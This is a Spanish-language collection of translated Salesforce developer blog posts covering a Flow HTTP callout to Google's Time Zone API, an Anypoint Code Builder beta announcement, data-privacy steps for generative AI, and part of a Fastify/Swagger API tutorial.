La siguiente solicitud HTTP GET obtiene información de zona horaria para una ubicación en la latitud 40.712776 y longitud -74.005974 (ciudad de Nueva York), y asume que está realizando la solicitud en una determinada marca de tiempo (marca de tiempo UNIX).

 https://maps.googleapis.com/maps/api/timezone/json?location=40.712776,-74.005974&timestamp=1458000000&key=YOUR_API_KEY

En la URL de solicitud anterior, reemplace YOUR_API_KEY con su clave API real.

Aquí hay una respuesta de muestra en formato JSON que la API podría devolver:


{ "dstOffset": 3600, "compensación sin procesar": -18000, "estado": "OK", "timeZoneId": "América/Nueva_York", "timeZoneName" : "Hora de verano del Este"
}

La respuesta incluye la siguiente información:

  1. dstOffset : La compensación del horario de verano en segundos. Será cero si la zona horaria no está en el horario de verano durante la marca de tiempo especificada.
  2. rawOffset : el desplazamiento de UTC (sin contar el horario de verano) en segundos.
  3. estado : una cadena que indica el estado de la solicitud. “OK” significa que la solicitud fue exitosa.
  4. timeZoneId : una cadena que contiene el ID "tz" de la zona horaria (por ejemplo, "América/Nueva_York").
  5. timeZoneName : una cadena que contiene el nombre de forma larga de la zona horaria (por ejemplo, "hora de verano del este").

Recuerde, en la URL de solicitud, se requiere el parámetro de marca de tiempo y el parámetro de ubicación espera coordenadas de latitud y longitud.

  1. Marca de tiempo : el tiempo deseado en segundos desde la medianoche del 1 de enero de 1970 UTC. La API de zona horaria utiliza la marca de tiempo para determinar si se debe aplicar o no el horario de verano, según la zona horaria de la ubicación.
  2. Ubicación : una tupla de latitud, longitud separada por comas, ubicación = 40.712776, -74.005974, que representa la ubicación para buscar.

Además, no olvide incluir su clave API.

Beneficios de usar la API de zona horaria de Google

La API de zona horaria de Google ofrece una serie de beneficios significativos, especialmente para desarrolladores y empresas que necesitan operar en diferentes zonas horarias. Estos son algunos de los beneficios clave:

  1. Precisión : la API de zona horaria de Google proporciona datos de zona horaria precisos para cualquier ubicación en todo el mundo. Tiene en cuenta tanto la zona horaria 'sin procesar' como el horario de verano, lo que garantiza que siempre tenga la hora local correcta.
  2. Facilidad de uso : la API es fácil de usar y solo requiere la latitud y la longitud como entradas. Devuelve datos en un formato JSON estructurado, que es fácil de analizar y usar en varias aplicaciones.
  3. Cobertura global : la API proporciona datos de zona horaria para ubicaciones en todo el mundo, lo que la hace útil para empresas globales y aplicaciones con bases de usuarios internacionales.
  4. Confiabilidad : como servicio proporcionado por Google, es altamente confiable, lo que garantiza que tenga acceso constante a los datos de la zona horaria cuando los necesite.
  5. Integración : se puede integrar en una variedad de aplicaciones y plataformas, incluidas aplicaciones móviles, servicios web y plataformas de CRM como Salesforce. Esto permite funcionalidades como la programación de comunicaciones en diferentes franjas horarias, etc.
  6. Información actualizada : Google actualiza continuamente sus bases de datos, lo que garantiza que los datos devueltos por la API de zona horaria, como los cambios de horario de verano, estén siempre actualizados.

Al aprovechar estos beneficios, las empresas pueden mejorar la experiencia del cliente, aumentar la eficiencia operativa y garantizar un registro de datos preciso, entre otras ventajas.

Antes de comenzar a usar la API de zona horaria, necesita un proyecto con una cuenta de facturación y la API de zona horaria habilitada. Aquí hay una guía paso a paso para configurar su proyecto de Google Cloud y habilitar la API de zona horaria:

Paso 1: crea o selecciona tu proyecto

  1. Navegue a Google Cloud Console .
  2. Si ha creado un proyecto anteriormente, puede seleccionarlo de la lista desplegable en la parte superior. De lo contrario, haga clic en Nuevo proyecto en la parte superior derecha.
  3. Asigne un nombre a su proyecto y, opcionalmente, también puede editar el ID del proyecto.
  4. Haga clic en Crear para crear el proyecto.

Paso 2: configurar una cuenta de facturación

Debe vincular una cuenta de facturación a su proyecto para usar la API de zona horaria de Google. Así es cómo:

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y haga clic en Facturación .
  2. Si tiene una o más cuentas de facturación, elija una cuenta y asóciela con su proyecto. De lo contrario, haga clic en Crear cuenta , complete el formulario para crear una nueva cuenta de facturación y luego asóciela con su proyecto.

Paso 3: habilite la API de zona horaria

Una vez que haya configurado su proyecto y su cuenta de facturación, puede habilitar la API de zona horaria.

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y vaya a API y servicios | biblioteca
  2. En la biblioteca de API, busque API de zona horaria y selecciónela.
  3. En la página de la API de zona horaria, haga clic en Habilitar .

Paso 4: Genere su clave API

Finalmente, necesita una clave de API para autenticar sus solicitudes en la API de zona horaria.

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y vaya a API y servicios | Cartas credenciales.
  2. Haga clic en el botón + CREAR CREDENCIALES en la parte superior y seleccione Clave API .
  3. Su nueva clave de API se creará y se mostrará. Cópielo y guárdelo de forma segura. Necesitará esta clave para realizar solicitudes a la API de zona horaria.

Ahora, su proyecto de Google Cloud está todo configurado y puede comenzar a usar la API de zona horaria de Google.

👉 Si bien la API de zona horaria es compatible con OAuth 2.0 y la cuenta de servicio para la autenticación, esta guía se enfoca en el método de clave de API más simple por razones de brevedad. Si necesita un método de autenticación más seguro o complejo, consulte la documentación de autenticación oficial de Google.

Enfoque de Campeón de Automatización (I-do):

Si bien esto se puede resolver utilizando varias herramientas de automatización como Apex Trigger y otras, utilizaremos Salesforce Flow y la función de flujo HTTP Callout (GET) recientemente introducida .

HTTP Callout extrae o envía datos entre la base de datos de Salesforce y un sistema externo a través de Flow Builder sin usar código. Puede configurar integraciones directas según sea necesario sin tener que trabajar con un desarrollador o llamar a una herramienta de middleware, como Mulesoft. Después de configurar la acción de llamada HTTP en un flujo, Flow Builder genera automáticamente un registro de servicio externo , una acción invocable y una clase de Apex que puede usar para crear un recurso definido por Apex para flujos. A continuación, puede utilizar la salida de datos de la solicitud de la API como entrada en Flow Builder y en Salesforce.

Puede usar HTTP Callout para conectar un flujo a una variedad de API.

  • Obtener información de direcciones usando una API de mapa
  • Obtén las condiciones meteorológicas con una API de servicios meteorológicos
  • Genere el código de barras con una API de servicio de código de barras
  • Obtenga información de autorización de pago con una API de procesamiento de pagos
  • y mucho más

Antes de discutir la solución, permítame mostrarle un diagrama del proceso a un alto nivel. Dedique unos minutos a revisar el siguiente diagrama de flujo para comprenderlo.

Comencemos a construir este proceso de automatización.

Práctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito empresarial de Jestilla mediante Record-Triggered After-Save Flow . Debemos:

  1. Cree campos personalizados en el cliente potencial para almacenar la respuesta
  2. Crear una credencial con nombre
  3. Flujo de fuerza de ventas
    1. Definir propiedades de flujo para el flujo desencadenado por registro
    2. Agregue una fórmula para calcular la marca de tiempo
    3. Configurar una llamada HTTP GET para la API de zona horaria
    4. Agregue un elemento de decisión para verificar el código de respuesta
    5. Agregue un elemento Actualizar registros para actualizar el prospecto
    6. Agregue un elemento Crear registros para crear una tarea para que el propietario del cliente potencial maneje la respuesta de error

Paso 1: Cree campos personalizados en el objeto principal para almacenar la respuesta

En este paso, hemos establecido campos personalizados dentro del objeto principal. Estos servirán como repositorios para los datos de respuesta de la API de zona horaria de Google.

Etiqueta de campo Nombre de API de campo Tipo de datos
dstOffset dstOffset __c Número (18,0)
rawOffset rawOffset__c Número (18,0)
Posición actual Posición_actual__c Geolocalización
Identificación de zona horaria Time_Zone_Id__c Texto (255)
Nombre de zona horaria
Nombre_de_la_zona_horaria__c Texto (255)

Paso 2: crear una credencial con nombre

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, ingrese Credenciales con nombre y luego seleccione Credenciales con nombre .
  3. Haga clic en Nuevo legado .
  4. Rellene la página con la URL y los parámetros de autenticación del extremo de la llamada.
  5. Haga clic en Guardar .

Paso 3.1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione la opción Flujo activado por registro , haga clic en Crear
    1. Objeto: Plomo
    2. Activar el flujo cuando: se crea un registro
    3. Establecer condiciones de entrada: se cumplen todas las condiciones (Y)
    4. Fila 1:
      1. Campo : Posición_Actual__Latitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    5. Haga clic en + Agregar condición
    6. Fila 2:
      1. Campo : Posición_Actual__Longitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    7. Optimizar el flujo para : acción y registros relacionados
    8. Elija la opción para incluir una ruta de ejecución asíncrona para acceder a un sistema externo después de que la transacción original para el registro de activación se confirme con éxito .
  5. Haga clic en Listo.

Paso 3.2: fórmula para calcular la marca de tiempo

  1. En Caja de herramientas , seleccione Administrador y luego haga clic en Nuevo recurso para calcular los segundos desde la época de Unix (1 de enero de 1970, 00:00:00).
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Fórmula
    2. Nombre de API : forN_Timestamp
    3. Tipo de datos : Número
    4. Lugares decimales : 0
    5. Fórmula : RONDA((AHORA() – FECHAHORAVALUE(“1970-01-01 00:00:00”)) * 24 * 60 * 60, 0)
  3. Haga clic en Listo.

Paso 3.3: configurar una acción de llamada HTTP GET

HTTP Callout lo guía a través de la introducción de los detalles sobre el servicio HTTP basado en web o el punto final de la API REST al que se está conectando. Después de completar la configuración, invoca la acción en un flujo.

  1. En el nodo Ejecutar asincrónicamente , seleccione Acción .
  2. Haga clic en + Crear llamada HTTP .
  3. Configure el servicio externo que conecta Salesforce con la API basada en HTTP.
    1. Introduzca un Nombre para el servicio externo.
    2. Seleccione la credencial con nombre que creó en el paso 2 .
    3. Haga clic en Siguiente .
  4. El siguiente paso es configurar la acción invocable que puede usar en Flow Builder o en Salesforce.
    1. Para Etiqueta , ingrese la acción que realiza la llamada.
    2. Método : OBTENER
    3. Agregue el extremo de la URL para la solicitud.
      1. Ruta URL : /maps/api/timezone/json
    4. Agregue claves de parámetros de consulta si la API a la que está llamando las tiene. Cuando usa esta acción en un flujo, ingresa valores para las claves definidas.
      1. Haga clic en Agregar clave
        1. Clave : ubicación
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
      2. Haga clic en Agregar clave
        1. Clave : marca de tiempo
        2. Tipo de datos : entero
        3. Requerido : Verdadero
      3. Haga clic en Agregar clave
        1. Clave: clave
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
  5. Proporcione un cuerpo de respuesta de API de muestra. Salesforce genera una estructura de datos a partir de la respuesta de muestra.
    1. Vaya a la sección Proporcione una respuesta de muestra .
    2. Haga clic en Nuevo .
    3. Pegue una respuesta JSON de muestra .
       { "timeZoneName": "cadena de muestra", "compensación sin procesar": 1, "timeZoneId": "cadena de muestra", "errorMessage": "cadena de muestra", "dstOffset": 1, "estado": "cadena de muestra"
      }
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Presentamos las mejoras de la beta abierta de Anypoint Code Builder ☁️

Presentamos las mejoras de la beta abierta de Anypoint Code Builder ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Presentamos las mejoras de la versión beta abierta de Anypoint Code Builder | Blog de desarrolladores de Salesforce

¡Nos complace anunciar el lanzamiento en junio de la versión beta abierta de Anypoint Code Builder! Anypoint Code Builder es el IDE (Entorno de desarrollo integrado) de próxima generación de MuleSoft, para que los desarrolladores diseñen, desarrollen e implementen API e integraciones. Desde su lanzamiento Open Beta en febrero de 2023, el equipo ha estado agregando mejoras regularmente en una cadencia bimensual. Mientras que el lanzamiento de abril se centró en capacidades de IU adicionales, el lanzamiento de junio se centra en una mayor accesibilidad para los usuarios y la flexibilidad en la forma en que los usuarios pueden diseñar e implementar sus API.

Disponibilidad de Open Beta en el plano de control de la UE

Desde su lanzamiento, la versión beta abierta de Anypoint Code Builder solo ha estado disponible en el plano de control de EE. UU. Nos complace decir que esta restricción ya no existe. ¡La versión beta abierta de Anypoint Code Builder ahora está disponible para todos los usuarios en el plano de control de la UE! Esto significa que los usuarios de la UE ya no necesitarán crear nuevas cuentas de prueba en el plano de control de NA para acceder a una instancia de IDE en la nube y experimentar una latencia mucho menor a medida que diseñan y desarrollan. En el futuro, todas las versiones y mejoras futuras de Anypoint Code Builder estarán disponibles para los aviones de control de EE. UU. y la UE simultáneamente.

Entonces, ¿cómo pueden comenzar los usuarios de la UE? Simplemente haga que el administrador de su organización acepte los Términos y condiciones de la versión Beta y le otorgue permisos, luego diríjase a Anypoint Code Builder Central , donde puede crear una nueva instancia de su IDE en minutos. Y dado que es un IDE basado en la nube, seleccionaremos automáticamente el plano de control adecuado para su instancia. ¡Es fácil!

Diseño e implementación de API iterativas

Con Anypoint Code Builder, a los usuarios se les ofrecen tres recorridos principales para comenzar: diseñar especificaciones de API , implementar especificaciones de API y desarrollar integraciones . Tradicionalmente, la única forma de implementar una especificación de API era terminar por completo la fase de diseño y publicarla en nuestro mercado público, Anypoint Exchange . Sin embargo, no existe una regla que diga que el diseño y la implementación de la API deben estar aislados (después de todo, todos somos Trailblazers aquí, ¿no?). Es por eso que presentamos el diseño e implementación de API iterativas en Anypoint Code Builder. Esto le permite comenzar a diseñar la especificación de su API y luego saltar directamente a la fase de implementación para comenzar a agregar lógica empresarial antes de completar la fase de diseño. El resultado final es una experiencia optimizada que permite a los usuarios flexibilizarse entre las fases de diseño e implementación, abordando todo el proyecto en secciones en lugar de todo a la vez. Y para colmo, hemos hecho que toda esta experiencia sea perfecta al proporcionar una vista única para ambas fases directamente desde su navegador.

Se agregó soporte de interfaz de usuario para fragmentos

Cuando se lanzó por primera vez Open Beta para Anypoint Code Builder, la interfaz de usuario era de solo lectura. Los desarrolladores podían usarlo para visualizar su trabajo, pero no había forma de desarrollarlo activamente. Sin embargo, este siempre fue un plan temporal y el objetivo final es brindar a los usuarios dos opciones sólidas para la integración y el desarrollo de API: código bajo y código profesional. Durante los últimos seis meses, hemos estado trabajando para lograr esta visión agregando formas de interactuar con la interfaz de usuario. Por ejemplo, en nuestro lanzamiento de abril, introdujimos la capacidad de agregar nuevos componentes a sus flujos simplemente usando el símbolo "+".

En nuestro lanzamiento de junio, presentamos dos mejoras más en la interfaz de usuario para mejorar la experiencia de código bajo. La primera es la capacidad de seleccionar conectores directamente desde Anypoint Exchange mientras se agregan componentes. Esto proporciona a los desarrolladores una alternativa de interfaz de usuario a la paleta de comandos, al mismo tiempo que les brinda una forma más limpia de clasificar todas las versiones y operaciones del conector que están disponibles. El segundo es la capacidad de agregar fragmentos de la interfaz de usuario.

Los fragmentos son bloques de código preempaquetados que los desarrolladores pueden reutilizar en varios proyectos. Hay algunos que vienen preconstruidos con Anypoint Code Builder, pero los desarrolladores también pueden crearlos personalizados. Esto acelera el desarrollo al facilitar la replicación de tareas repetitivas. Por ejemplo, supongamos que con frecuencia necesita obtener información de contacto de una organización específica en Salesforce. La primera vez que haga esto, escribirá el XML con toda la configuración necesaria. Una vez escrito, puede empaquetar ese código en un fragmento. La próxima vez que necesite obtener información de contacto de esa organización, simplemente puede seleccionar ese fragmento de la interfaz de usuario en lugar de codificarlo todo nuevamente. A medida que los desarrolladores comienzan a crear bibliotecas de fragmentos, vemos que se trata de una herramienta increíblemente poderosa que ayudará a promover la reutilización en toda la organización.

Conclusión

El lanzamiento en junio de la versión beta abierta de Anypoint Code Builder es un hito fundamental en nuestro camino hacia la disponibilidad general. Con la expansión al plano de control de la UE, estamos entusiasmados de brindarles a más desarrolladores la oportunidad de tener en sus manos el producto. Y esperamos continuar introduciendo capacidades de interfaz de usuario adicionales junto con algunas funcionalidades de inteligencia artificial emocionantes a finales de este año. Si desea obtener una descripción general más detallada de las mejoras de junio, consulte la descripción general completa del video .

Más recursos

Sobre el Autor

Rohan Vettiankal es gerente de marketing de productos en MuleSoft, donde dirige su cartera de integración. A lo largo de su carrera, ayudó a llevar una variedad de productos al mercado, incluida una herramienta de visualización de datos basada en la web, una plataforma de infraestructura de datos local y un producto PaaS en la nube. En su tiempo libre, Rohan disfruta de actividades al aire libre como el senderismo, el snowboard y la escalada en roca. También le encanta la música y ha estado tocando el piano desde que tenía 12 años y recientemente ha estado aprendiendo guitarra. Siga a Rohan en LinkedIn .

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5 pasos para la IA generativa confiable para desarrolladores de Salesforce ☁️

5 pasos para la IA generativa confiable para desarrolladores de Salesforce ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

5 pasos para la IA generativa confiable para desarrolladores de Salesforce | Blog de desarrolladores de Salesforce

La IA generativa se ha convertido en el factor de cambio para las empresas innovadoras y orientadas al cliente. Impulsada por algoritmos avanzados y aprendizaje automático, la IA generativa puede impulsar la innovación, optimizar los procesos y acelerar las empresas en todas partes al proporcionar experiencias y soluciones personalizadas adaptadas a las necesidades únicas de los clientes.

Igualmente importante para las experiencias poderosas dirigidas por el cliente es la protección de los datos críticos para el negocio. Los sistemas de IA procesan y generan contenido basado en grandes conjuntos de datos y, lamentablemente, los modelos de lenguaje extenso (LLM) no están poniendo su negocio en primer lugar. Mientras se prepara para implementar capacidades de IA generativa, es fundamental priorizar la privacidad de los datos. Al implementar medidas sólidas de protección de datos, no solo mantiene el cumplimiento de las regulaciones pertinentes, sino que también mantiene la confianza del cliente, su activo más valioso.

Con los cinco pasos que se describen a continuación, puede innovar rápidamente, aumentar la productividad y mejorar las experiencias personalizadas, al mismo tiempo que garantiza la seguridad y la privacidad de los datos de sus clientes.

Paso 1: comprender y auditar sus datos

Para asegurarse de tener las protecciones de seguridad, privacidad y gobernanza correctas, querrá comprender qué datos usará para crear avisos, plantillas y modelos de capacitación. Comprender los datos a los que permite que accedan los modelos de IA ayudará a evitar que se compartan inadvertidamente los datos personales o confidenciales de los clientes.

Entonces, ¿cómo empezar? Primero, anonimice y agregue los datos de los clientes antes de usarlos con fines de IA generativa. Elimine la información de identificación personal (PII) y cualquier otro dato confidencial que pueda identificar a las personas.

Una manera fácil de hacer esto en Salesforce es usar Data Detect , un producto que le permite revisar objetos y campos antes de permitir que los procesos de IA accedan a ellos para recibir indicaciones y capacitación. Una vez que los datos se han escaneado a través de Data Detect, puede confirmar que no hay sorpresas en esos datos, como números de tarjetas de crédito o direcciones de correo electrónico en campos donde ese tipo de datos no debería existir.

Data Detect también puede ayudar a recomendar un nivel de clasificación, como "Confidencial" o "PII" para datos personales, y proporcionar detalles sobre el contenido de un objeto, así como encontrar datos confidenciales generados por chatbots, casos y transcripciones de llamadas registradas automáticamente. por IA.

Paso 2: configure la protección de la privacidad de los datos para sus procesos generativos de IA

Respetar la privacidad del cliente y proteger los datos a lo largo de sus procesos de IA es crucial para establecer y mantener la confianza. A medida que confía más en la IA para comprender y tomar decisiones a partir de sus datos, ¿cómo protege también esos datos, especialmente la PII?

Para los procesos de IA que usan datos personales, como aumentar los registros de contacto u orquestar ofertas de marketing dinámicas 1:1, querrá desarrollar políticas de uso de datos claras y transparentes que describan cómo se manejarán los datos de los clientes, incluido su uso en sistemas de IA generativos. . Comunique estas políticas a sus clientes y bríndeles la oportunidad de optar por no participar o elegir el nivel adecuado de uso de datos. Además, cree una política para eliminar y ofuscar los datos que ya no son útiles o relevantes, para que sus clientes permanezcan protegidos y sus procesos de IA generativa permanezcan precisos.

Centro de privacidad puede ayudar a verificar que sus procesos de IA estén autorizados para su uso en capacitación y avisos. El Centro de privacidad también puede ayudarlo a crear políticas de retención para administrar el ciclo de vida de los datos utilizados y generados por la IA, incluidas las transcripciones de llamadas, los chatbots y los casos registrados automáticamente por la IA.

Paso 3: configure su organización para administrar la IA generativa

Tanto para proteger los datos utilizados en los procesos de IA como para confirmar que sus integraciones se mantienen dentro de los límites de los datos que desea utilizar, deberá implementar controles para proteger los datos de los clientes frente a accesos no autorizados o infracciones.

Los controles de acceso le permiten restringir el acceso a los datos del cliente solo al personal autorizado. Al otorgar acceso según sea necesario, reduce el riesgo de que los modelos de IA y las personas no autorizadas accedan a datos confidenciales. Esto protege contra el posible uso indebido de esos datos al tiempo que garantiza la privacidad del cliente.

Security Center puede ayudarlo a administrar de manera centralizada los permisos de usuario y las configuraciones de la organización para los datos que se usan y se obtienen de los procesos de IA.

Ahora preparémonos para implementar la IA de manera segura en toda su organización.

Paso 4: pruebe sus procesos para la implementación

Las pruebas en un entorno de espacio aislado son primordiales cuando se trata de IA generativa. Esto tiene dos propósitos fundamentales: probar los procesos de IA y capacitar a los empleados sobre el uso seguro y responsable de la IA generativa. Al realizar pruebas exhaustivas en un entorno de espacio aislado controlado, las organizaciones pueden evaluar y refinar el rendimiento y el comportamiento de sus modelos generativos de IA antes de implementarlos en escenarios del mundo real. Las pruebas permiten la identificación y mitigación de posibles problemas, como sesgos, errores o consecuencias no deseadas que pueden surgir durante un proceso de IA generativa.

Además, un entorno de sandbox proporciona un espacio seguro para que los empleados adquieran experiencia práctica y capacitación en el uso de herramientas y sistemas de IA generativa. Les permite explorar capacidades e identificar consideraciones éticas mientras toman decisiones informadas al usar la tecnología de manera responsable en sus operaciones diarias. Al aprovechar las pruebas de sandbox, las organizaciones pueden garantizar la confiabilidad, la eficacia y la aplicación ética de la IA generativa al tiempo que capacitan a su fuerza laboral para adoptar y utilizar esta tecnología transformadora con confianza.

Asegúrese de que, cuando utilice un espacio aislado para el entrenamiento de IA, haya eliminado todos los datos personales para crear sus indicaciones o entrenar un modelo de IA; puede eliminar u ofuscar fácilmente cualquier dato que no deba incluirse con Data Mask .

Paso 5: Supervise y proteja sus procesos de IA

Garantizar que la integración de IA no acceda a los datos ni modifique los sistemas más allá del alcance previsto es crucial para mantener la seguridad de los datos y la integridad del sistema. Como describimos anteriormente, los controles de acceso y los permisos de los usuarios deben definirse cuidadosamente, otorgando a los sistemas de IA solo los privilegios necesarios y limitando su acceso a fuentes o sistemas de datos específicos. Además, se deben realizar pruebas y validaciones exhaustivas de la integración de la IA para verificar que funcione según lo previsto y que no tenga consecuencias ni vulnerabilidades no deseadas.

Finalmente, implementar mecanismos de monitoreo robustos puede ayudar a detectar y alertar cualquier intento de acceso no autorizado o comportamiento anormal por parte del sistema de IA. Las auditorías y revisiones periódicas de los procesos de integración de IA y los registros de acceso pueden ayudar a identificar cualquier desviación o posibles riesgos de seguridad.

Event Monitoring ayuda a que el proceso de monitoreo y detección sea más fácil al permitir la configuración de capacidades, como la seguridad de transacciones, para enviar alertas o bloquear acciones más allá de lo que se pretendía inicialmente para su proceso de IA.

Finalmente, a medida que se adentra más en su viaje de IA, es fundamental que sus datos estén respaldados y puedan restaurarse hasta el nivel de registro en el caso poco probable de que los datos utilizados y aumentados por IA estén mal configurados o sincronizados incorrectamente. Haga una copia de seguridad de sus datos para ver cada versión de los registros utilizados y tocados por AI, y restaure cualquier error.

Conclusión

Al adoptar un enfoque que prioriza la privacidad e implementar medidas sólidas de protección de datos, puede crear una base confiable para prácticas de IA generativas responsables, sostenibles y éticas, todo mientras impulsa una innovación más eficiente y efectiva e interacciones más personalizadas con los clientes. Para obtener más información sobre cómo comenzar con la IA generativa, consulte nuestra Guía de introducción a la IA.

Recursos

Sobre el Autor

Marla Hay Vicepresidenta de Seguridad, Privacidad y Gestión de Datos en Salesforce y dirige la organización de productos de Servicios de confianza. Se unió a Salesforce en 2017 después de liderar productos en una empresa de gestión de identidad de consumidores. Marla tiene una licenciatura en Ciencias de la Computación de la Universidad de Cornell y una maestría en Ciencias de la Computación de la Universidad Johns Hopkins.

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Diseñe una API Swagger con código para traer datos a Salesforce ☁️

Diseñe una API Swagger con código para traer datos a Salesforce ☁️

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El enlace a la publicación original, lo encontrarás al final de este artículo.

Diseñe una API de Swagger con código para llevar datos a Salesforce | Blog de desarrolladores de Salesforce

La integración de una API externa con su organización de Salesforce puede ser una tarea sencilla que no requiere código si utilizaCredenciales con nombre y Servicios externos . Deberá crear una credencial con nombre que apunte a la API y configurar un servicio externo en la interfaz de usuario de configuración. La clave aquí es proporcionar una especificación OpenAPI para la API. Si la API no tiene una, puede diseñarla usted mismo manualmente usando YAML o JSON, usar MuleSoft Anypoint Platform o aprovechar las herramientas y el código de código abierto.

En esta publicación, le presentaremos la especificación OpenAPI y Swagger, discutiremos los elementos principales de la especificación y lo guiaremos a través del diseño e implementación de una API con código. Usaremos Node.js y Swagger dentro del marco Fastify para esta tarea. Finalmente, integraremos esta API con Salesforce.

OpenAPI y Swagger

OpenAPI es una especificación para diseñar y construir API. Proporciona una forma estandarizada de definir su API para otros, brindando una forma estructurada que incluye puntos finales, tipos de solicitud/respuesta, definiciones de esquema, métodos de autenticación y más. Las especificaciones de OpenAPI están escritas en formatos YAML o JSON, ambos fáciles de leer y escribir. Esta especificación es ampliamente adoptada y respaldada por una variedad de herramientas, lo que la convierte en una opción popular para diseñar y documentar API. De hecho, si desea importar una API a Salesforce utilizando servicios externos, deberá especificarse con OpenAPI. Además, Salesforce es miembro de la Iniciativa OpenAPI .

Nota: A la fecha de esta publicación, la versión actual de la especificación OpenAPI es 3.1.0.

Swagger , por otro lado, es un conjunto de herramientas ( la mayoría de código abierto ) para implementar la especificación OpenAPI. Incluye la interfaz de usuario de Swagger, que proporciona una interfaz gráfica para comprender y probar las API, y Swagger Codegen, que genera código SDK de cliente y apéndices de servidor a partir de una especificación OpenAPI.

La especificación OpenAPI v2 también se conoce como Swagger, pero su nombre cambió cuando se convirtió en parte de la iniciativa OpenAPI en 2016.

Estructura básica de la especificación OpenAPI

La especificación OpenAPI está organizada en las siguientes secciones clave:

API abierta Define el documento raíz y combina la lista de recursos y la declaración de la API. Requerido
Información Proporciona metadatos sobre la API, como el título, la descripción, los términos del servicio, la información de contacto, etc. Obligatorio
Servidores Especifica una o más URL base para su API, como producción o preparación.
Seguridad Define un esquema de seguridad que pueden utilizar las operaciones de la API.
Caminos Describe las rutas y operaciones disponibles para la API. Cada ruta tiene un método HTTP con los detalles de la operación.
Etiquetas Agrega metadatos a una sola etiqueta que utiliza el objeto de operación.
Documentos externos Proporciona una descripción y una URL para la documentación externa.
Componentes Define un conjunto de objetos reutilizables para diferentes aspectos de la API. Esto puede incluir esquemas, respuestas, parámetros, ejemplos, cuerpos de solicitud, encabezados, esquemas de seguridad, etc.

Para obtener una explicación más detallada de cada sección y sus correspondientes definiciones de objeto, consulte la documentación oficial de la especificación OpenAPI .

Para fines de demostración, crearemos una API para administrar una librería. Esta API contará con dos métodos HTTP: uno para enumerar los libros disponibles y otro para agregar nuevos libros. A continuación, encontrará una definición básica de esta API, centrándose en el método para listar libros ( GET /books ) y sus objetos de respuesta.

Tenga en cuenta que estamos usando tres secciones principales aquí: Información , Rutas y Componentes . Como se mencionó anteriormente, describiremos esta API a medida que la implementemos mediante código. Para este propósito, utilizaremos Fastify y Fastify Swagger.

Fastify y Fastify Swagger

Fastify es un marco web altamente eficiente y flexible para Node.js. Está diseñado para facilitar su uso y ofrecer la máxima velocidad sin comprometer la personalización. Fastify proporciona una base sólida para las aplicaciones web y las API, con funciones como la validación de solicitudes y respuestas basadas en esquemas, ganchos, complementos y registro automático. Una de sus principales ventajas radica en su ecosistema, que incluye numerosos complementos centrales y mantenidos por la comunidad.

Uno de estos complementos es fastify-swagger . Este complemento nos permite ofrecer definiciones de Swagger (OpenAPI v2) u OpenAPI v3, que se generan automáticamente a partir de sus esquemas de ruta o de una definición existente de Swagger/OpenAPI. Además, utilizará fastify-swagger-ui , un complemento que sirve una instancia de Swagger UI dentro de su aplicación.

Nota: La siguiente demostración requiere la instalación de Node.js LTS y, a la fecha de esta publicación de blog, la última versión es v18.16.0.

Comencemos a crear la API de su librería instalando Fastify CLI y generando un nuevo proyecto ejecutando:

Luego, vayamos a la carpeta del proyecto e instalemos las dependencias fastify-swagger y fastify-swagger-ui .

Nota: En esta demostración, se centrará en tres aspectos principales: agregar compatibilidad con Swagger a Fastify, definir rutas de API y delinear esquemas y tipos de respuesta. No explicaremos cómo integrar la API con una base de datos. Si está interesado en explorar la fuente completa del proyecto, está disponible en el repositorio de ejemplos de codeLive.

Agreguemos compatibilidad con Swagger a Fastify editando el archivo app.js , luego importemos Swagger y SwaggerUI y registrémoslos como complementos.

aplicación.js

En la configuración del complemento de Swagger, tiene la opción de pasar toda la definición de especificación de OpenAPI, o puede aprovechar el enfoque dinámico que ofrece el complemento. Para esta demostración, utilizará el enfoque dinámico. Dado que el único campo obligatorio es info , definirá los metadatos de su API allí, además, la sección refResolver se encarga de nombrar las referencias de definición de esquema.

Y para SwaggerUI, solo especifica la ruta donde se alojará el sitio de documentación.

Ahora vamos a crear una carpeta schemas . Aquí es donde definirá los esquemas de su API. Para esta demostración, definirá un esquema book y un esquema error .

esquemas/index.js

Los esquemas representan la estructura de los objetos con los que trabajará, tanto para los cuerpos de solicitud como para los de respuesta. Para la especificación OpenAPI, el complemento Swagger agregará automáticamente estos objetos en el campo components .

Finalmente, definamos las rutas API para GET /books y POST /books usando Fastify. Primero, deberá registrar los esquemas dentro de Fastify. Luego, especificará los objetos de respuesta y solicitud para cada ruta que haga referencia a esos esquemas.

rutas/root.js

{ // … look at the code repository for a complete implementation } ) // POST /books fastify.post( ‘/books’, { schema: { description: "Create a book", body: { $ref: ‘book#’, required: [‘author’, ‘title’] }, response: { 201: { description: ‘Returns the book that has been created’, $ref: ‘book#’ }, 500: { description: ‘Returns an error’, $ref: ‘error#’ } } } }, async (request, reply) => { const { title, author } = request.body const id = randomUUID() const client = await fastify.pg.connect() try { const { rows: books } = await client.query( ‘INSERT INTO books(id, title, author) VALUES($1, $2, $3) RETURNING *’, [id, title, author] ) const [newBook] = books reply.code(201).send(newBook) } catch (error) { reply .status(500) .send({ code: 500, message: `An error ocurred: ${error.message}` }) } finally { client.release() } } ) // GET / fastify.get(‘/’, { schema: { hide: true } }, async function (request, reply) { reply.status(301).redirect(‘/api-docs’) })
} «>

Analicemos la ruta POST /books :

  • La función fastify.post define el método HTTP.
  • El primer argumento especifica la ruta: /books.
